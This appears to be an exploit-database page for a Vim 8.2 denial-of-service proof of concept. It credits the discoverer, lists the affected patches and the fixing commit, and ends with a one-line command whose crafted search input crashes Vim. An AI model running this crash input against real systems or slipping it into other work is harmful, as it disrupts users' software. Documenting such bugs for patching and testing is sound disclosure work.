Vim 8.2 denial of service (poc) Vulnerability / Exploit

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Exploits / Vulnerability Discovered : 2020-02-06 | Type : dos | Platform : linux
This exploit / vulnerability Vim 8.2 denial of service (poc) is for educational purposes only and if it is used you will do on your own risk!


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# Exploit Title: VIM 8.2 - Denial of Service (PoC)
# Date: 2019-12-17
# Vulnerability: DoS
# Vulnerability Discovery: Dhiraj Mishra
# Vulnerable Version: VIM - Vi IMproved 8.2 (Included patches: 1-131)
# Vendor Homepage: https://www.vim.org/
# References:
# https://github.com/vim/vim/commit/98a336dd497d3422e7efeef9f24cc9e25aeb8a49
# Invalid memory access with search command

PoC: vim --clean -e -s -c 'exe "norm /\x80PS"'